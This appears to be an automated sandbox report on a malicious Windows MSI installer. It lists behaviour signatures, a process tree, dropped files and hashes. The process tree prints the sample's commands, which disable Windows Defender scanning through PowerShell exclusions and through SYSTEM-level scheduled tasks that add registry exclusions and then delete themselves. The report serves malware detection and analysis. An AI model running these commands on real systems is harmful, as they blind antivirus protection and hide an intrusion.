Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    28/07/2026, 15:50

General

  • Target
    Install_28n005.msi
  • Size 8.6MB
  • Sample260728-s9xtqsaa67
  • SHA256 8bcb26bb8eb74d664adaf201b90d4604cec651843d5cb9476ed046b1eab29d3e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 10 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 9 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Executes a command shell one-liner 1 TTPs 5 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Install_28n005.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:3220
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1660
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:5316
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding F62647621712A3017C81373F9971009A E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:2712
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:2324
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k GPSvcGroup
    1⤵
      PID:4520
    • C:\Users\Public\rkb8ub\MO72qj.exe
      "C:\Users\Public\rkb8ub\MO72qj.exe"
      1⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5440
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        PID:4496
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\rkb8ub\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
        2⤵
        • Indicator Removal: Clear Persistence
        • Suspicious use of WriteProcessMemory
        PID:5136
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\rkb8ub\" /t REG_DWORD /d 0 /f"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3304
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Run /TN "Task1"
          3⤵
            PID:4732
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Delete /TN "Task1" /F
            3⤵
              PID:5408
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
            2⤵
            • Indicator Removal: Clear Persistence
            • Suspicious use of WriteProcessMemory
            PID:5832
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:5324
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Run /TN "Task1"
              3⤵
                PID:1708
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Delete /TN "Task1" /F
                3⤵
                  PID:2692
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                2⤵
                • Indicator Removal: Clear Persistence
                • Suspicious use of WriteProcessMemory
                PID:5244
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                  3⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:5460
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Run /TN "Task1"
                  3⤵
                    PID:2504
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Delete /TN "Task1" /F
                    3⤵
                      PID:4728
                  • C:\Windows\System32\cmd.exe
                    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                    2⤵
                    • Indicator Removal: Clear Persistence
                    • Suspicious use of WriteProcessMemory
                    PID:2232
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:4592
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Run /TN "Task1"
                      3⤵
                        PID:2708
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Delete /TN "Task1" /F
                        3⤵
                          PID:5256
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                        2⤵
                        • Indicator Removal: Clear Persistence
                        • Suspicious use of WriteProcessMemory
                        PID:5688
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:4212
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Run /TN "Task1"
                          3⤵
                            PID:428
                          • C:\Windows\system32\schtasks.exe
                            SCHTASKS /Delete /TN "Task1" /F
                            3⤵
                              PID:4764
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\rkb8ub" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5192
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\rkb8ub" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1700
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:3608
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5716
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2880
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5700
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2064
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:5184
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:5564
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            • Suspicious use of WriteProcessMemory
                            PID:3160
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              2⤵
                              • Windows security bypass
                              PID:2448

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                e599e3b.rbs

                                • Path C:\Config.Msi\e599e3b.rbs
                                • Size 7KB
                                • SHA256 8582eb84564620cf932198fdf0cb7128ce332f99ac7b9bc5867c56d5be1e080e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                MO72qj.exe

                                • Path C:\Users\Public\rkb8ub\MO72qj.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\rkb8ub\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 12491f297c8c6c737e2f39dadfcb7d2b845fa4cf7630ebde8bec8dfc9714db20
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\rkb8ub\adoresd.dat
                                • Size 4.8MB
                                • SHA256 e4339adcf53893107ba9c203ad6128e823375aa81014a0c2bae4a8b896d965f0
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\rkb8ub\msadox.tb
                                • Size 8KB
                                • SHA256 c5312bc4480164ade6a958e8c7cffb94246818762e9c2d1a0a5b093fbcf26839
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                MSIA3F8.tmp

                                • Path C:\Windows\Installer\MSIA3F8.tmp
                                • Size 8.5MB
                                • SHA256 0819685edec26ebaa5f6bebf21fda313193b101b1db80da2cf6a61b85f523a66
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                e599e3a.msi

                                • Path C:\Windows\Installer\e599e3a.msi
                                • Size 8.6MB
                                • SHA256 8bcb26bb8eb74d664adaf201b90d4604cec651843d5cb9476ed046b1eab29d3e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                metadata-2

                                • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                • Size 26.1MB
                                • SHA256 2f864e66f4a68c1277b23b014956f5bb76d656e32b275854d3683d992ce0f69e
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                {0367890a-b446-4301-8fb1-6151280d37b6}_OnDiskSnapshotProp

                                • Path \??\Volume{c576ab2f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{0367890a-b446-4301-8fb1-6151280d37b6}_OnDiskSnapshotProp
                                • Size 6KB
                                • SHA256 d09fdbc1996e7539d27de8259d6d4a1fdb88ed7647c8e67d68849fd41ae4650a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/2712-41-0x00007FFB1C120000-0x00007FFB1C132000-memory.dmp

                                memory/2712-16-0x00007FFB1C120000-0x00007FFB1C132000-memory.dmp

                                memory/2712-13-0x00007FFB11C30000-0x00007FFB12259000-memory.dmp

                                memory/2712-12-0x00007FFB35830000-0x00007FFB35832000-memory.dmp

                                memory/4496-102-0x000001C41AC90000-0x000001C41ACB2000-memory.dmp

                                memory/4496-107-0x000001C41ACF0000-0x000001C41ACFA000-memory.dmp

                                memory/4496-106-0x000001C433170000-0x000001C433222000-memory.dmp

                                memory/4496-105-0x000001C433150000-0x000001C43316E000-memory.dmp

                                memory/5440-66-0x000001E24EFA0000-0x000001E24F85E000-memory.dmp

                                memory/5440-73-0x000001E24EFA0000-0x000001E24F85E000-memory.dmp

                                memory/5440-74-0x000001E24EFA0000-0x000001E24F85E000-memory.dmp

                                memory/5440-76-0x000001E24EFA0000-0x000001E24F85E000-memory.dmp

                                memory/5440-75-0x000001E24EFA0000-0x000001E24F85E000-memory.dmp

                                memory/5440-80-0x000001E24EFA0000-0x000001E24F85E000-memory.dmp

                                memory/5440-87-0x000001E24E4C0000-0x000001E24E54A000-memory.dmp

                                memory/5440-86-0x000001E24CC20000-0x000001E24CC6E000-memory.dmp

                                memory/5440-91-0x000001E24E4C0000-0x000001E24E54A000-memory.dmp

                                memory/5440-89-0x000001E24E4C0000-0x000001E24E54A000-memory.dmp

                                memory/5440-90-0x000001E24E4C0000-0x000001E24E54A000-memory.dmp

                                memory/5440-93-0x000001E24EFA0000-0x000001E24F85E000-memory.dmp

                                memory/5440-96-0x000001E24EFA0000-0x000001E24F85E000-memory.dmp

                                memory/5440-69-0x000001E24EFA0000-0x000001E24F85E000-memory.dmp

                                memory/5440-68-0x00007FFB35840000-0x00007FFB35842000-memory.dmp

                                memory/5440-61-0x00007FFB11D40000-0x00007FFB1225E000-memory.dmp

                                memory/5440-60-0x00007FFB35830000-0x00007FFB35832000-memory.dmp